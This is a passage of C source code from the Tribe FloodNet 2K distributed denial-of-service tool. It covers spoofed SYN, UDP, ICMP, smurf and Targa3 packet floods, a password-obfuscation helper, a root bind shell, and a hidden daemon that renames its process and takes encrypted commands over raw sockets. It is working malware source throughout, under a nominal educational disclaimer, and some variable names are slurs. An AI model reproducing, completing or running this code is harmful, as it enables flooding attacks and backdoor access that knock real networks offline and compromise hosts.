int rawsock = 0, fw00ding = 0, nospoof = 0, port4syn = 0, psize = 0;
static char synb[8192];
static int fbi = 1, cia = 65535;

void
syn (unsigned long victim, unsigned short port)
{
struct sa sin;
struct ip *ih = (struct ip *) synb;
struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
ih->ver = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->tl = sizeof (ih) + sizeof (th);
ih->id = htons (getrandom (1024, 65535));
ih->off = 0;
ih->ttl = getrandom (200, 255);
ih->pro = TCP;
ih->sum = 0;
ih->src = k00lip ();
ih->dst = victim;
th->src = htons (getrandom (0, 65535));
if (port > 0)
th->dst = htons (port);
else
th->dst = htons (getrandom (0, 65535));
th->seq = htonl (getrandom (0, 65535) + (getrandom (0, 65535) << 8));
th->ack = htons (getrandom (0, 65535));
th->flg = SYN | URG;
th->win = htons (getrandom (0, 65535));
th->sum = 0;
th->urp = htons (getrandom (0, 65535));
th->sum = ip_sum ((u16 *) synb, (sizeof (struct ip) + sizeof (struct tcp) + 1) & ~1);
ih->sum = ip_sum ((u16 *) synb, (4 * ih->ihl + sizeof (struct tcp) + 1) & ~1);
sin.fam = AF_INET;
sin.dp = th->dst;
sin.add = ih->dst;
sendto (rawsock, synb, 4 * ih->ihl + sizeof (struct tcp), 0, (struct sockaddr *) &sin, sizeof (sin));
}

void
udp (unsigned long lamer)
{
int tot_len = sizeof (struct ip) + sizeof (struct udp) + 1 + psize;
struct sa llama;
struct
    {
      struct ip iph;
      struct udp udph;
      unsigned char evil[65535];
    }
faggot;

faggot.evil[psize] = '\0';

if (fbi++ > 65535)
fbi = 1;
if (cia-- < 1)
cia = 65535;

faggot.iph.ihl = 5;
faggot.iph.ver = 4;
faggot.iph.tos = 0x00;
faggot.iph.tl = htons (tot_len);
faggot.iph.id = htons (getrandom (0, 65535));
faggot.iph.off = 0;
faggot.iph.ttl = getrandom (200, 255);
faggot.iph.pro = UDP;
faggot.iph.src = k00lip ();
faggot.iph.dst = lamer;
faggot.iph.sum = ip_sum ((u16 *) & faggot.iph, sizeof (faggot.iph));

faggot.udph.src = htons (cia);
faggot.udph.dst = htons (fbi);
faggot.udph.len = htons (sizeof (faggot.udph) + 1 + psize);
faggot.udph.sum = 0;
faggot.udph.sum = cksum ((u16 *) & faggot.udph, tot_len >> 1);

llama.fam = AF_INET;
llama.dp = faggot.udph.dst;
llama.add = lamer;

sendto (rawsock, &faggot, tot_len, 0, (struct sockaddr *) &llama, sizeof (llama));
}

void
icmp (unsigned long lamer, unsigned long src)
{
struct sa pothead;
struct ip *iph;
struct icmp *icmph;
char *packet;
int pktsize = sizeof (struct ip) + sizeof (struct icmp) + 64;

if (psize)
pktsize += psize;

packet = malloc (pktsize);
iph = (struct ip *) packet;
icmph = (struct icmp *) (packet + sizeof (struct ip));
memset (packet, 0, pktsize);
iph->ver = 4;
iph->ihl = 5;
iph->tos = 0;
iph->tl = htons (pktsize);
iph->id = htons (getpid ());
iph->off = 0;
iph->ttl = 0x0;
iph->pro = ICMP;
iph->sum = 0;
if (src == 0)
    {
      iph->src = k00lip ();
      iph->dst = lamer;
    }
else
    {
      iph->src = lamer;
      iph->dst = src;
    }
icmph->type = ICMP_ECHO;
icmph->code = 0;
icmph->sum = htons (~(ICMP_ECHO << 8));

pothead.fam = AF_INET;
pothead.dp = htons (0);
pothead.add = iph->dst;

sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &pothead, sizeof (struct sockaddr));
free (packet);
}

void
targa3 (unsigned long victim)
{
int mysize = sizeof (struct ip) + getrandom (128, 512) + psize, i;
char *packet = calloc (1, mysize);
struct ip *iph = (struct ip *) packet;
struct udp *udh = (struct udp *) (packet + sizeof (struct ip));
struct tcp *tch = (struct tcp *) (packet + sizeof (struct ip));
struct icmp *ich = (struct icmp *) (packet + sizeof (struct ip));
struct sa sin;

int proto[14] =
{    /* known internet protcols */
    0, 1, 2, 4, 6, 8, 12, 17, 22, 41, 58, 255, 0,
};
int frags[10] =
{    /* (un)common fragment values */
    0, 0, 0, 8192, 0x4, 0x6, 16383, 1, 0,
};
int flags[7] =
{    /* (un)common message flags */
    0, 0, 0, 0x4, 0, 0x1,
};

for (i = 0; i < mysize; i++)
    {
      if (rcounter-- < 1)
random_init ();
      packet[i] = rseed[rcounter];
    }
proto[13] = getrandom (0, 255);
frags[9] = getrandom (0, 8100);
flags[6] = getrandom (0, 0xf);
iph->ver = 4;
iph->ihl = 5;
iph->tos = 0;
iph->tl = htons (mysize);
iph->id = htons (getrandom (0, 65535) + (getrandom (0, 65535) << 8));
iph->ttl = 0x00;
iph->pro = proto[(int) getrandom (0, 13)];
switch (iph->pro)
    {
    case TCP:
      tch->sum = 0;
      tch->sum = cksum ((u16 *) packet, mysize >> 1);
      break;
    case ICMP:
      ich->sum = 0;
      ich->sum = cksum ((u16 *) packet, mysize >> 1);
      break;
    case UDP:
      udh->sum = 0;
      udh->sum = cksum ((u16 *) packet, mysize >> 1);
      break;
    }
iph->off = htons (frags[(int) getrandom (0, 9)]);
iph->sum = 0;
iph->src = getrandom (0, 65535) + (getrandom (0, 65535) << 8);
iph->dst = victim;

sin.fam = AF_INET;
sin.dp = htons (0);
sin.add = victim;

sendto (rawsock,
   packet,
   mysize,
   flags[(int) getrandom (0, 6)],
   (struct sockaddr *) &sin,
   sizeof (sin));
free (packet); /* free willy */
}

ip.c

/*
* Tribe FloodNet - 2k edition
* by Mixter <mixter@newyorkoffice.com>
*
* ip.c - low level IP functions
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/

#include "tribe.h"
#include "ip.h"

unsigned long
resolve (char *host)
{
struct hostent *he;
struct sa tmp;
if (isip (host))
    return (inet_addr (host));
he = gethostbyname (host);
if (he)
    {
      memcpy ((caddr_t) & tmp.add, he->h_addr, he->h_length);
    }
else
    return (0);
return (tmp.add);
}

char *
ntoa (u32 in)
{
struct in_addr ad;
ad.s_addr = in;
return (inet_ntoa (ad));
}

int
isip (char *ip)
{
int a, b, c, d;
sscanf (ip, "%d.%d.%d.%d", &a, &b, &c, &d);
if (a < 0)
    return 0;
if (a > 255)
    return 0;
if (b < 0)
    return 0;
if (b > 255)
    return 0;
if (c < 0)
    return 0;
if (c > 255)
    return 0;
if (d < 0)
    return 0;
if (d > 255)
    return 0;
return 1;
}

u16
cksum (u16 * buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}

unsigned short
ip_sum (addr, len)
unsigned short *addr;
int len;
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;

while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }
if (nleft == 1)
    {
      *(unsigned char *) (&answer) = *(unsigned char *) w;
      sum += answer;
    }
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}

ip.h

/*
* Tribe FloodNet - 2k edition
* by Mixter <mixter@newyorkoffice.com>
*
* ip.h - low level IP definitions
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/

#ifndef _IP_H
#define _IP_H
#include <sys/socket.h>

#ifndef INADDR_ANY
#define INADDR_ANY ((unsigned) 0x00000000)
#endif

#ifndef IP_HDRINCL
#define IP_HDRINCL 3
#endif
#ifndef PF_INET
#define PF_INET 2
#endif
#ifndef AF_INET
#define AF_INET PF_INET
#endif

typedef char s8;
typedef unsigned char u8;
typedef short int s16;
typedef unsigned short int u16;
typedef int s32;
typedef unsigned int u32;

#define ICMP_ECHOREPLY 0
#define ICMP_ECHO 8

#ifndef htons

#if __BYTE_ORDER == __BIG_ENDIAN
#define ntohl(x)        (x)
#define ntohs(x)        (x)
#define htonl(x)        (x)
#define htons(x)        (x)
#else
unsigned long int htonl (unsigned long int hostlong);
unsigned short int htons (unsigned short int hostshort);
unsigned long int ntohl (unsigned long int netlong);
unsigned short int ntohs (unsigned short int netshort);
#endif

#endif

#define IP 0
#define ICMP 1
#define IGMP 2
#define TCP 6
#define UDP 17
#define RAW 255

struct sa
{
    u16 fam, dp;
    u32 add;
    u8 zero[8];
};

struct su
{
u16 fam;
char path[108];
};

struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u8 ihl:4, ver:4;
#else
    u8 ver:4, ihl:4;
#endif
    u8 tos;
    u16 tl, id, off;
    u8 ttl, pro;
    u16 sum;
    u32 src, dst;
};

struct tcp
{
    u16 src, dst;
    u32 seq, ack;
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u8 x2:4, off:4;
#else
    u8 off:4, x2:4;
#endif
    u8 flg;   /* flag1 | flag2 */
#define FIN 0x01
#define SYN 0x02
#define RST 0x04
#define PUSH 0x08
#define ACK 0x10
#define URG 0x20
    u16 win, sum, urp;
};

struct udp
{
u16 src, dst, len, sum;
};

struct icmp
{
    u8 type, code;
    u16 sum;
    u16 id, seq;
};

#ifndef in_addr
struct in_addr
{
unsigned long int s_addr;
};
#endif

char *inet_ntoa (struct in_addr);
unsigned long int inet_addr (const char *cp);
u16 cksum (u16 *, int);
unsigned short ip_sum (unsigned short *, int);
char *ntoa (u32);
int isip (char *);
unsigned long resolve (char *);

#endif

mkpass.c

/* mkpass - creates a temporary source file that uses random alignment
   and other fancy stuff to disguise a 256 bit password in an executable
   (No, this is not 100% SECURE, it just makes it awfully HARD to
    find the password) - Mixter */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

char *getpass (const char *prompt);

static char *header =
"\x2f\x2a\x20\x50\x41\x53\x53\x2e\x68\x20\x2d\x20\x74\x65\x6d\x70\x6f\x72"
"\x61\x72\x79\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x69\x6e\x63\x6c\x75"
"\x64\x65\x0a\x20\x20\x20\x44\x45\x4c\x45\x54\x45\x20\x74\x68\x69\x73\x20"
"\x66\x69\x6c\x65\x20\x61\x66\x74\x65\x72\x20\x63\x6f\x6d\x70\x69\x6c\x61"
"\x74\x69\x6f\x6e\x20\x21\x20\x2a\x2f\x0a\x0a\x23\x69\x6e\x63\x6c\x75\x64"
"\x65\x20\x22\x61\x65\x73\x2e\x68\x22\x0a\x0a\x63\x68\x61\x72\x0a";

static char *function =
"\x76\x6f\x69\x64\x20\x73\x65\x63\x75\x72\x69\x74\x79\x5f\x74\x68\x72\x6f"
"\x75\x67\x68\x5f\x6f\x62\x73\x63\x75\x72\x69\x74\x79\x20\x28\x20\x69\x6e"
"\x74\x20\x73\x77\x31\x74\x63\x68\x20\x29\x0a\x7b\x0a\x63\x68\x61\x72\x20"
"\x68\x69\x5b\x33\x32\x5d\x3b\x0a\x0a\x69\x66\x20\x28\x21\x73\x77\x31\x74"
"\x63\x68\x29\x20\x61\x65\x73\x5f\x73\x65\x74\x6b\x65\x79\x28\x22\x22\x29"
"\x3b\x0a\x20\x20\x65\x6c\x73\x65\x0a\x20\x7b\x0a\x20\x68\x69\x5b\x30\x5d"
"\x20\x3d\x20\x5f\x63\x31\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x31"
"\x5d\x20\x3d\x20\x5f\x63\x32\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b"
"\x32\x5d\x20\x3d\x20\x5f\x63\x33\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69"
"\x5b\x33\x5d\x20\x3d\x20\x5f\x63\x34\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68"
"\x69\x5b\x34\x5d\x20\x3d\x20\x5f\x63\x35\x20\x2d\x20\x61\x6c\x3b\x0a\x20"
"\x68\x69\x5b\x35\x5d\x20\x3d\x20\x5f\x63\x36\x20\x2d\x20\x61\x6c\x3b\x0a"
"\x20\x68\x69\x5b\x36\x5d\x20\x3d\x20\x5f\x63\x37\x20\x2d\x20\x61\x6c\x3b"
"\x0a\x20\x68\x69\x5b\x37\x5d\x20\x3d\x20\x5f\x63\x38\x20\x2d\x20\x61\x6c"
"\x3b\x0a\x20\x68\x69\x5b\x38\x5d\x20\x3d\x20\x5f\x63\x39\x20\x2d\x20\x61"
"\x6c\x3b\x0a\x20\x68\x69\x5b\x39\x5d\x20\x3d\x20\x5f\x63\x31\x30\x20\x2d"
"\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x31\x30\x5d\x20\x3d\x20\x5f\x63\x31"
"\x31\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x31\x31\x5d\x20\x3d\x20"
"\x5f\x63\x31\x32\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x31\x32\x5d"
"\x20\x3d\x20\x5f\x63\x31\x33\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b"
"\x31\x33\x5d\x20\x3d\x20\x5f\x63\x31\x34\x20\x2d\x20\x61\x6c\x3b\x0a\x20"
"\x68\x69\x5b\x31\x34\x5d\x20\x3d\x20\x5f\x63\x31\x35\x20\x2d\x20\x61\x6c"
"\x3b\x0a\x20\x68\x69\x5b\x31\x35\x5d\x20\x3d\x20\x5f\x63\x31\x36\x20\x2d"
"\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x31\x36\x5d\x20\x3d\x20\x5f\x63\x31"
"\x37\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x31\x37\x5d\x20\x3d\x20"
"\x5f\x63\x31\x38\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x31\x38\x5d"
"\x20\x3d\x20\x5f\x63\x31\x39\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b"
"\x31\x39\x5d\x20\x3d\x20\x5f\x63\x32\x30\x20\x2d\x20\x61\x6c\x3b\x0a\x20"
"\x68\x69\x5b\x32\x30\x5d\x20\x3d\x20\x5f\x63\x32\x31\x20\x2d\x20\x61\x6c"
"\x3b\x0a\x20\x68\x69\x5b\x32\x31\x5d\x20\x3d\x20\x5f\x63\x32\x32\x20\x2d"
"\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x32\x32\x5d\x20\x3d\x20\x5f\x63\x32"
"\x33\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x32\x33\x5d\x20\x3d\x20"
"\x5f\x63\x32\x34\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x32\x34\x5d"
"\x20\x3d\x20\x5f\x63\x32\x35\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b"
"\x32\x35\x5d\x20\x3d\x20\x5f\x63\x32\x36\x20\x2d\x20\x61\x6c\x3b\x0a\x20"
"\x68\x69\x5b\x32\x36\x5d\x20\x3d\x20\x5f\x63\x32\x37\x20\x2d\x20\x61\x6c"
"\x3b\x0a\x20\x68\x69\x5b\x32\x37\x5d\x20\x3d\x20\x5f\x63\x32\x38\x20\x2d"
"\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x32\x38\x5d\x20\x3d\x20\x5f\x63\x32"
"\x39\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x32\x39\x5d\x20\x3d\x20"
"\x5f\x63\x33\x30\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b\x33\x30\x5d"
"\x20\x3d\x20\x5f\x63\x33\x31\x20\x2d\x20\x61\x6c\x3b\x0a\x20\x68\x69\x5b"
"\x33\x31\x5d\x20\x3d\x20\x5f\x63\x33\x32\x20\x2d\x20\x61\x6c\x3b\x0a\x20"
"\x61\x65\x73\x5f\x73\x65\x74\x6b\x65\x79\x28\x68\x69\x29\x3b\x0a\x20\x7d"
"\x0a\x7d\x0a";

int
main (void)
{
char al, *p, c[32], buf[64];
int i, fd;
memset (c, 0, sizeof (c));
srand (getpid ());
al = (rand () % 40) + 1;
dufus:
p = getpass ("server key [8 - 32 chars]: ");
#ifdef DEBUG_INSECURE
printf ("Your password is '%s'.\n", p);
#endif
if ((strlen (p) > 32) || (strlen (p) < 8))
    goto dufus;
for (i = 0; i <= strlen (p); i++)
    c[i] = p[i];
fd = open ("pass.c", O_WRONLY | O_TRUNC | O_CREAT);
write (fd, header, strlen (header));
for (i = 0; i < 31; i++)
    {
      memset (buf, 0, 64);
      sprintf (buf, " _c%d = %d + %d,\n", i + 1, c[i], al);
      write (fd, buf, strlen (buf));
    }
memset (buf, 0, 64);
sprintf (buf, " _c32 = %d + %d;\n\n", c[31], al);
write (fd, buf, strlen (buf));
memset (buf, 0, 64);
sprintf (buf, " int al = %d;\n\n", al);
write (fd, buf, strlen (buf));
memset (buf, 0, 64);
write (fd, function, strlen (function));
close (fd);
printf ("compiling server with %d byte password...\n", strlen (c));
return (0);
}

process.c

/*
* Tribe FloodNet - 2k edition
* by Mixter <mixter@newyorkoffice.com>
*
* process.c - flood / shell server thread management
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/

#include "tribe.h"

unsigned long myip = 2130706433; /* 127.0.0.1 network byte ordered */
extern int fw00ding, nospoof, rawsock;
int pid[CHLD_MAX + 5];

void
shellsex (int port)
{
int s1, s2, s3;
struct sa s_a, c_a;

if (fork ())
return;

setuid (0);
setgid (0);
#ifndef WINDOZE
setreuid (0, 0);
setregid (0, 0);
#endif
s1 = socket (AF_INET, SOCK_STREAM, TCP);
bzero ((char *) &s_a, sizeof (s_a));
s_a.fam = AF_INET;
s_a.add = htonl (INADDR_ANY);
s_a.dp = htons (port);
if (bind (s1, (struct sockaddr *) &s_a, sizeof (s_a)) < 0)
exit (0);
if (listen (s1, 1) < 0)
exit (0);

while (1)
    {
      s3 = sizeof (c_a);
      s2 = accept (s1, (struct sockaddr *) &c_a, &s3);
      dup2 (s2, 0);
      dup2 (s2, 1);
      dup2 (s2, 2);
#ifndef WINDOZE
      if (execlp ("sh", "sh", (char *) 0) < 0)
execlp ("ksh", "ksh", (char *) 0); /* yech, no sh */
#else
      if (execlp ("command.exe", "command.exe", (char *) 0) < 0)
execlp ("cmd.exe", "cmd.exe", (char *) 0); /* yech, windoze neanderthal technology */
#endif
      close (s2);
      return;
    }
}

void
commence_udp (char *ip)
{
int i = -1, p;
unsigned long resolved = 0;
char *parse;

if ((parse = strtok (ip, DELIMITER)) == NULL)
    {
      fw00ding = 0;
      return;
    }
while ((parse != NULL) && (i++ < CHLD_MAX))
    {
      resolved = resolve (parse);
      p = fork ();
      if (!p)
{
   rawsock = socket (AF_INET, SOCK_RAW, RAW);
   if (rawsock < 0)
     rawsock = socket (AF_INET, SOCK_RAW, UDP);
   setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));
   if (resolved == -1)
     exit (0);
   while (1)
     udp (resolved);
}
#ifdef ATTACKLOG
      {
char tmp[100];
sprintf (tmp, "PID %d forking (#%d), child (%d) attacks %s, UDP\n"
   ,getpid (), i, p, parse);
dbug (tmp);
      }
#endif
      pid[i] = p;
      parse = strtok (NULL, DELIMITER);
    }

}

void
commence_syn (char *ip, int port)
{
int i = -1, p;
unsigned long resolved = 0;
char *parse;

if ((parse = strtok (ip, DELIMITER)) == NULL)
    {
      fw00ding = 0;
      return;
    }
while ((parse != NULL) && (i++ < CHLD_MAX))
    {
      resolved = resolve (parse);
      p = fork ();
      if (!p)
{
   rawsock = socket (AF_INET, SOCK_RAW, RAW);
   if (rawsock < 0)
     rawsock = socket (AF_INET, SOCK_RAW, TCP);
   setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));
   if (resolved == -1)
     exit (0);
   while (1)
     syn (resolved, port);
}
#ifdef ATTACKLOG
      {
char tmpbuf[100];
sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, SYN\n"
   ,getpid (), i, p, parse);
dbug (tmpbuf);
      }
#endif
      pid[i] = p;
      parse = strtok (NULL, DELIMITER);
    }
}

void
commence_icmp (char *ip)
{
int i = -1, p;
unsigned long resolved = 0;
char *parse;

if ((parse = strtok (ip, DELIMITER)) == NULL)
    {
      fw00ding = 0;
      return;
    }
while ((parse != NULL) && (i++ < CHLD_MAX))
    {
      resolved = resolve (parse);
      p = fork ();
      if (!p)
{
   rawsock = socket (AF_INET, SOCK_RAW, RAW);
   if (rawsock < 0)
     rawsock = socket (AF_INET, SOCK_RAW, ICMP);
   setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));
   if (resolved == -1)
     exit (0);
   while (1)
     icmp (resolved, 0);
}
#ifdef ATTACKLOG
      {
char tmpbuf[100];
sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, ICMP\n"
   ,getpid (), i, p, parse);
dbug (tmpbuf);
      }
#endif
      pid[i] = p;
      parse = strtok (NULL, DELIMITER);
    }
}

void
commence_mix (char *ip)
{
int i = -1, p;
unsigned long resolved = 0;
char *parse;

if ((parse = strtok (ip, DELIMITER)) == NULL)
    {
      fw00ding = 0;
      return;
    }
while ((parse != NULL) && (i++ < CHLD_MAX))
    {
      resolved = resolve (parse);
      p = fork ();
      if (!p)
{
   rawsock = socket (AF_INET, SOCK_RAW, RAW);
   if (rawsock < 0)
     rawsock = socket (AF_INET, SOCK_RAW, IP);
   setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));
   if (resolved == -1)
     exit (0);
   while (1)
     {
       icmp (resolved, 0);
       syn (resolved, 0);
       udp (resolved);
     }
}
#ifdef ATTACKLOG
      {
char tmpbuf[100];
sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, MIX\n"
   ,getpid (), i, p, parse);
dbug (tmpbuf);
      }
#endif
      pid[i] = p;
      parse = strtok (NULL, DELIMITER);
    }
}

void
commence_smurf (char *ip)
{
int i = -1, p;
unsigned long bcast, resolved = 0;
char *parse;

if ((parse = strtok (ip, DELIMITER)) == NULL)
    {
      fw00ding = 0;
      return;
    }
resolved = resolve (parse);
if (resolved == -1)
    {
      fw00ding = 0;
      return;
    }
if ((parse = strtok (NULL, DELIMITER)) == NULL)
    {
      fw00ding = 0;
      return;
    }
while ((parse != NULL) && (i++ < CHLD_MAX))
    {
      bcast = resolve (parse);
      p = fork ();
      if (!p)
{
   rawsock = socket (AF_INET, SOCK_RAW, RAW);
   if (rawsock < 0)
     rawsock = socket (AF_INET, SOCK_RAW, ICMP);
   setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));
   if (resolved == -1)
     exit (0);
   while (1)
     icmp (resolved, bcast);
}
#ifdef ATTACKLOG
      {
char tmpbuf[100];
sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attack-bcast %s, SMURF\n"
   ,getpid (), i, p, parse);
dbug (tmpbuf);
      }
#endif
      pid[i] = p;
      parse = strtok (NULL, DELIMITER);
    }
}

void
commence_targa3 (char *ip)
{
int i = -1, p;
unsigned long resolved = 0;
char *parse;

if ((parse = strtok (ip, DELIMITER)) == NULL)
    {
      fw00ding = 0;
      return;
    }
while ((parse != NULL) && (i++ < CHLD_MAX))
    {
      resolved = resolve (parse);
      p = fork ();
      if (!p)
{
   rawsock = socket (AF_INET, SOCK_RAW, RAW);
   if (rawsock < 0)
     rawsock = socket (AF_INET, SOCK_RAW, 0);
   setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));
   if (resolved == -1)
     exit (0);
   while (1)
     targa3 (resolved);
}
#ifdef ATTACKLOG
      {
char tmpbuf[100];
sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, TARGA3\n"
   ,getpid (), i, p, parse);
dbug (tmpbuf);
      }
#endif
      pid[i] = p;
      parse = strtok (NULL, DELIMITER);
    }
}

void
must_kill_all (void)
{
int i;

for (i = 0; i <= CHLD_MAX - 1; i++)
    {
#ifdef ATTACKLOG
      char tmp[100];
      if (pid[i] < 2)
break;   /* killing -1 or 0 != fun :) */
      sprintf (tmp, "Killing flood pid (#%d): %d\n", i, pid[i]);
      dbug (tmp);
      kill (pid[i], 9);
#else
      if (pid[i] < 2)
break;   /* killing -1 or 0 != fun :) */
      kill (pid[i], 9);
#endif
    }
}

td.c

/*
* Tribe FloodNet - 2k edition
* by Mixter <mixter@newyorkoffice.com>
*
* td.c - tribe flood server
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/

#include "tribe.h"

extern int fw00ding, nospoof, port4syn, psize;
extern unsigned long myip;
extern void security_through_obscurity (int);

void tribe_cmd (char, char *, char **);

int
main (int argc, char **argv)
{
char buf[BS], clear[BS];
struct ip *iph = (struct ip *) buf;
struct tribe *tribeh = (struct tribe *) clear;
int isock, tsock, usock, i;
char *p = NULL, *data = (clear + sizeof (struct tribe));
fd_set rfds;

isock = socket (AF_INET, SOCK_RAW, ICMP);
tsock = socket (AF_INET, SOCK_RAW, TCP);
usock = socket (AF_INET, SOCK_RAW, UDP);

if (geteuid ())
exit (-1);

memset (argv[0], 0, strlen (argv[0]));
strcpy (argv[0], HIDEME);
close (0);
close (1);
close (2);
#ifndef WINDOZE
if (fork ())
    exit (0);
#else
switch (fork ())
    {
    case -1:
      perror ("fork");
      exit (0);
      break;
    case 0:
      break;
    default:
      break;
    }
#endif

signal (SIGHUP, SIG_IGN);
signal (SIGTERM, SIG_IGN);
signal (SIGCHLD, SIG_IGN);

while (1)
    {
      FD_ZERO (&rfds);
      FD_SET (isock, &rfds);
      FD_SET (usock, &rfds);
      FD_SET (tsock, &rfds);
      if (select (usock + 1, &rfds, NULL, NULL, NULL) < 1)
continue;
      if (FD_ISSET (isock, &rfds))
{
   i = read (isock, buf, BS) - (sizeof (struct ip) + sizeof (struct icmp));
   myip = htonl (iph->dst);
   if (i < 4)
     continue;
   p = (buf + sizeof (struct ip) + sizeof (struct icmp));
   if (!isprint (p[0]))
     continue;
   memset (clear, 0, BS);
   security_through_obscurity (1);
   decode64 (p, clear, i);
   memset (buf, 0, BS);
   security_through_obscurity (0);
   if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP))
     tribe_cmd (tribeh->id, data, argv);
}
      if (FD_ISSET (tsock, &rfds))
{
   i = read (tsock, buf, BS) - (sizeof (struct ip) + sizeof (struct tcp));
   myip = htonl (iph->dst);
   if (i < 4)
     continue;
   p = (buf + sizeof (struct ip) + sizeof (struct tcp));
   if (!isprint (p[0]))
     continue;
   memset (clear, 0, BS);
   security_through_obscurity (1);
   decode64 (p, clear, i);
   memset (buf, 0, BS);
   security_through_obscurity (0);
   if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP))
     tribe_cmd (tribeh->id, data, argv);
}
      if (FD_ISSET (usock, &rfds))
{
   i = read (usock, buf, BS) - (sizeof (struct ip) + sizeof (struct udp));
   myip = htonl (iph->dst);
   if (i < 4)
     continue;
   p = (buf + sizeof (struct ip) + sizeof (struct udp));
   if (!isprint (p[0]))
     continue;
   memset (clear, 0, BS);
   security_through_obscurity (1);
   decode64 (p, clear, i);
   memset (buf, 0, BS);
   security_through_obscurity (0);
   if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP))
     tribe_cmd (tribeh->id, data, argv);
}
    }
/* 1 != 1 */
return (0);
}

void
tribe_cmd (char id, char *target, char **argp)
{
#ifdef ATTACKLOG
{
    char tmp[BS];
    sprintf (tmp, "PID %d CMD '%c' TARGET %s\n"
      ,getpid (), id, target);
    dbug (tmp);
}
#endif

switch (id)
    {
    case ID_ICMP:
      if (fw00ding) /* already in progress, ignored */
break;
      fw00ding = 3; /* commencing ICMP/8 flood */
      strcpy (argp[0], HIDEKIDS);
      commence_icmp (target);
      strcpy (argp[0], HIDEME);
      break;
    case ID_SMURF:
      if (fw00ding) /* already in progress, ignored */
break;
      fw00ding = 4; /* commencing SMURF broadcast flood */
      strcpy (argp[0], HIDEKIDS);
      commence_smurf (target);
      strcpy (argp[0], HIDEME);
      break;
    case ID_SENDUDP:
      if (fw00ding) /* already in progress, ignored */
break;
      fw00ding = 1; /* commencing UDP flood */
      strcpy (argp[0], HIDEKIDS);
      commence_udp (target);
      strcpy (argp[0], HIDEME);
      break;
    case ID_SENDSYN:
      if (fw00ding) /* already in progress, ignored */
break;
      fw00ding = 2; /* commencing SYN flood */
      strcpy (argp[0], HIDEKIDS);
      commence_syn (target, port4syn);
      strcpy (argp[0], HIDEME);
      break;
    case ID_STOPIT:
      if (!fw00ding) /* this has no longer a meaning */
break;
      must_kill_all (); /* all flood childs terminating */
      usleep (100);
      fw00ding = 0;
      break;
    case ID_SYNPORT:
      port4syn = atoi (target); /* syn port set */
      break;
    case ID_PSIZE:
      psize = atoi (target); /* new packet size */
      break;
    case ID_SWITCH:
      switch (atoi (target))
{
case 0:
   nospoof = 0; /* spoof mask: *.*.*.* */
   break;
case 1:
   nospoof = 1; /* spoof mask: real.*.*.* */
   break;
case 2:
   nospoof = 2; /* spoof mask: real.real.*.* */
   break;
case 3:
   nospoof = 3; /* spoof mask: real.real.real.* */
   break;
default:
   break;
}
      break;
    case ID_SHELL:
      shellsex (atoi (target)); /* shell bound to target port */
      break;
    case ID_TARGA:
      if (fw00ding) /* already in progress, ignored */
break;
      fw00ding = 4; /* commencing targa3 attack */
      strcpy (argp[0], HIDEKIDS);
      commence_targa3 (target);
      strcpy (argp[0], HIDEME);
      break;
    case ID_MIX:
      if (fw00ding) /* already in progress, ignored */
break;
